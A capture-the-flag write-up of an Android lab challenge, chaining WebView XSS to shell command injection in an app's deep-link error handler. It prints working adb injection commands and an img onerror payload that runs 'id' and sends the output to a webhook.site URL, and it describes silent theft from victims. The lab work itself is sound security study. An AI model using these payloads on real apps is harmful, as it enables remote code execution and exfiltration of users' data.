Mobile Hacking Lab: Post Board - WebView XSS to RCE Challenge
Objective: Exploit XSS vulnerability in WebView's markdown parser to achieve Remote Code Execution via command injection
This was a fascinating challenge from Mobile Hacking Lab that combined web security (XSS) with Android security (command injection). What made it interesting was that it made me thinking about real-world exploitation, not just getting RCE via direct deep links, but weaponizing it through XSS so an attacker could send a malicious link to a victim and exfiltrate the data, Let me walk you through my journey.
Initial Reconnaissance - The Challenge Description
The challenge description immediately pointed to WebView vulnerabilities:
XSS vulnerability in WebView component
Exposed Java interface to JavaScript
Goal: Chain XSS → RCE
My first instinct: This is going to involve addJavascriptInterface.
Decompiling the APK - Finding Entry Points
Started with JADX to examine the AndroidManifest.xml:
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="postboard"
android:host="postmessage"/>
</intent-filter>
</activity>
Discovery: Deep link handler - postboard://postmessage/
This meant I could trigger functionality from outside the app via ADB or a malicious link.
I immediately opened something like this to see what happens

The Deep Link Handler - Understanding the Flow
I then started examining MainActivity.handleIntent():
private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (!Intrinsics.areEqual("android.intent.action.VIEW", action) ||
data == null ||
!Intrinsics.areEqual(data.getScheme(), "postboard") ||
!Intrinsics.areEqual(data.getHost(), "postmessage")) {
return;
}
try {
String path = data.getPath();
// Drops the leading '/' character
byte[] bArrDecode = Base64.decode(
path != null ? StringsKt.drop(path, 1) : null, 8);
String message = new String(bArrDecode, Charsets.UTF_8);
// Single quote escaping
message = StringsKt.replace$default(message, "'", "\\'", false, 4, null);
// Loads into WebView
binding.webView.loadUrl(
"javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
} catch (Exception e) {
// Error path - triggers cowsay
binding.webView.loadUrl(
"javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
}
}
Key observations:
Path after
/is base64 decodedSingle quotes are escaped:
'→\'Success path: calls
postMarkdownMessage()Error path: calls
postCowsayMessage()with exception message
So I could also do
adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/$(echo -n 'hello' | base64)"

First Approach - The Markdown XSS Hunt
I examined WebAppInterface.postMarkdownMessage() - it had tons of regex replacements converting markdown to HTML:
@JavascriptInterface
public final void postMarkdownMessage(String markdownMessage) {
// Image:  → <img src='url' alt='alt'/>
String html3 = new Regex("!\\[(.*?)\\]\\((.*?)\\)")
.replace(html2, "<img src='$2' alt='$1'/>");
// Links: [text](url) → <a href='url'>text</a>
String html13 = new Regex("\\[([^\\[]+)\\]\\(([^)]+)\\)")
.replace(html12, "<a href='$2'>$1</a>");
// More markdown parsing...
}
My thinking: If I can inject HTML through markdown syntax, I can get XSS.
Hence I tried with simplest payload
<img src=x onerror=alert(1)>
adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="

XSS was executed, but what harm would this cause in a real world scenario? likely None
My Initial Instinct - The Cowsay Vector
While everything was focused on the markdown parser, I kept thinking about this code in the assets:
#!/bin/sh
# cowsay.sh
main() {
if [ "$#" -lt 1 ]; then
printf "Usage: %s <message>\\n" "$0"
exit 1
fi
message="$*"
print_message "$message"
print_cow
}
main "$@"
My thought: This shell script takes user input directly. That's a classic command injection vulnerability.
Looking at how it's called:
public final String runCowsay(String message) {
String[] command = {"/bin/sh", "-c",
CowsayUtil.scriptPath + ' ' + message};
Process process = Runtime.getRuntime().exec(command);
// Read output...
}
Vulnerable! The message is concatenated directly into the shell command.
But here's the issue - postMarkdownMessage() was the primary path, and postCowsayMessage() only triggered on errors.
The Breakthrough - Error Path Exploitation
Remember that exception handler in handleIntent()?
} catch (Exception e) {
binding.webView.loadUrl(
"javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
}
The key insight: If I send invalid base64, the exception message contains my raw input!
Testing it:
adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/helloworld;id"

RCE achieved! via command injection in the error path!
The flow:
Invalid base64 →
Base64.decode()throws exceptionException message =
"invalid;id"(our raw input)Catch block calls:
postCowsayMessage("invalid;id")Shell executes:
/bin/sh -c "cowsay.shinvalid;id"Shell interprets
;→ runscowsay.shinvalidTHENid
Real World Thinking - Why XSS to RCE Matters
At this point, we have two separate vulnerabilities:
Direct RCE:
postboard://postmessage/invalid;whoamiXSS:
postboard://postmessage/<base64 encoded HTML>
But here's the problem with #1: It requires the attacker to directly send commands, how would an attacker exfilterate in a real world?
In a real-world scenario:
Attacker sends malicious deep link to victim
Victim clicks it (maybe via SMS, email, QR code)
Attacker wants to exfiltrate data back to their server
Challenge: How do I get the command output back?
Direct command injection via deep link shows output on the device screen, but the attacker can't see it!
Solution: Chain XSS → RCE → Data Exfiltration
Building the Weaponized Payload
The WebView exposes WebAppInterface to JavaScript:
window.WebAppInterface.postCowsayMessage(message)
window.WebAppInterface.getMessages()
My attack chain:
Use XSS to call
postCowsayMessage()with command injectionWait for command execution to complete
Retrieve output via
getMessages()Exfiltrate to attacker's webhook
The Network Challenge
Initially thought: "I'll use curl or wget in the shell command to exfil data" This was the same problem with Cyclic Challenge that android busybox doesnt have curl or wget or maybe I am not aware?
~ ❯ adb shell am start -a android.intent.action.VIEW \
-d "postboard://postmessage/invalid;curl"
Starting: Intent { act=android.intent.action.VIEW dat=postboard://postmessage/invalid }
/system/bin/sh: curl: inaccessible or not found
But wait... The WebView has network access!
JavaScript's fetch() API should works perfectly in WebViews.
Setting Up the Webhook - Data Exfiltration Endpoint
For those unfamiliar with webhooks, let me explain what they are and why we need them in this attack. A webhook is essentially a URL endpoint that receives HTTP requests. Think of it as a mailbox on the internet, whenever someone sends data to that URL, you can see what was sent.
In our attack scenario:
We're executing commands on the victim's device (like
id,ls,cat /data/data/com.app/files/secret.txt)The command output appears on the victim's screen, but we (the attacker) can't see it
We need a way to send that output back to ourselves
webhook.site is free and no signup required, you instantly get a unique URL like: https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670 - Any HTTP request to this URL appears in real-time on the webpage - Perfect for testing and CTF challenges
The Final Payload
<img
src="x"
onerror="
WebAppInterface.postCowsayMessage('x;id');
setTimeout(function () {
var m = WebAppInterface.getMessages();
fetch(
'https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d=' +
btoa(m)
);
}, 2000);
"
>
Why setTimeout()?
postCowsayMessage()triggers async shell executionNeed to wait for command output to be added to cache
Without delay,
getMessages()returns empty/old data
Encoding and Triggering
Base64 encode the payload (I removed extra spaces from the above payload, earlier section was meant to beautify)
Actual payload
<img src=x onerror="WebAppInterface.postCowsayMessage('x;id');setTimeout(function(){var m=WebAppInterface.getMessages();fetch('https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d='+btoa(m))},2000)">
PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOi8vd2ViaG9vay5zaXRlL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApIj4=
This was the base64 value of the payload, lets send it
Bingo Moment
If you check your webhook, it gets hit, query param d contains some values
https://webhook.site/d67c482a-84da-4bd2-b5ad-0ec49bdd0670?d=WyI8aW1nIHNyYz14IG9uZXJyb3I9XCJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOlwvXC93ZWJob29rLnNpdGVcL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApXCI+IiwiPHByZT4gXzxicj4mbHQ7IHggJmd0Ozxicj4gLTxicj4gICAgICAgIFxcICAgXl9fXjxicj4gICAgICAgICBcXCAgKG9vKVxcX19fX19fXzxicj4gICAgICAgICAgICAoX18pXFwgICAgICAgKVxcXC88YnI+ICAgICAgICAgICAgICAgIHx8LS0tLXcgfDxicj4gICAgICAgICAgICAgICAgfHwgICAgIHx8PGJyPnVpZD0xMDM4NSh1MF9hMzg1KSBnaWQ9MTAzODUodTBfYTM4NSkgZ3JvdXBzPTEwMzg1KHUwX2EzODUpLDMwMDMoaW5ldCksOTk5NyhldmVyeWJvZHkpLDIwMzg1KHUwX2EzODVfY2FjaGUpLDUwMzg1KGFsbF9hMzg1KSBjb250ZXh0PXU6cjp1bnRydXN0ZWRfYXBwOnMwOmMxMjksYzI1NyxjNTEyLGM3Njg8YnI+PFwvcHJlPiJd

WyI8aW1nIHNyYz14IG9uZXJyb3I9XCJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3g7aWQnKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIG09V2ViQXBwSW50ZXJmYWNlLmdldE1lc3NhZ2VzKCk7ZmV0Y2goJ2h0dHBzOlwvXC93ZWJob29rLnNpdGVcL2Q2N2M0ODJhLTg0ZGEtNGJkMi1iNWFkLTBlYzQ5YmRkMDY3MD9kPScrYnRvYShtKSl9LDIwMDApXCI+IiwiPHByZT4gXzxicj4mbHQ7IHggJmd0Ozxicj4gLTxicj4gICAgICAgIFxcICAgXl9fXjxicj4gICAgICAgICBcXCAgKG9vKVxcX19fX19fXzxicj4gICAgICAgICAgICAoX18pXFwgICAgICAgKVxcXC88YnI+ICAgICAgICAgICAgICAgIHx8LS0tLXcgfDxicj4gICAgICAgICAgICAgICAgfHwgICAgIHx8PGJyPnVpZD0xMDM4NSh1MF9hMzg1KSBnaWQ9MTAzODUodTBfYTM4NSkgZ3JvdXBzPTEwMzg1KHUwX2EzODUpLDMwMDMoaW5ldCksOTk5NyhldmVyeWJvZHkpLDIwMzg1KHUwX2EzODVfY2FjaGUpLDUwMzg1KGFsbF9hMzg1KSBjb250ZXh0PXU6cjp1bnRydXN0ZWRfYXBwOnMwOmMxMjksYzI1NyxjNTEyLGM3Njg8YnI+PFwvcHJlPiJd
That is in base64, hence lets decode this, you have id executed!

Real World Attack Scenario
Attacker's perspective:
In a realworld postboard social app, you would
Craft malicious deep link with XSS payload
Send to victim on your own postboard that other’s can see or send payload via other delivery mechanisms such as sms.
If this is social postboard victim doesnt even need to click!
But if delivery mechanism is SMS then yes victim clicks → App opens → XSS executes
JavaScript:
Runs arbitrary shell commands
Extracts sensitive data (contacts, files, app data)
Exfiltrates to attacker's server
Victim sees normal app behavior (no visible indicators)
Why this is powerful:
No user interaction needed
Bypasses Android's permission model (app's own permissions are used, INTERNET)
Silent data exfiltration
As an attacker, you should always think, "How would I weaponize this?" Popping up alert(1) on xss doesn’t do any real damage unless you can ex-filtrate.
Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.ShareArtifactsDownload allPostboard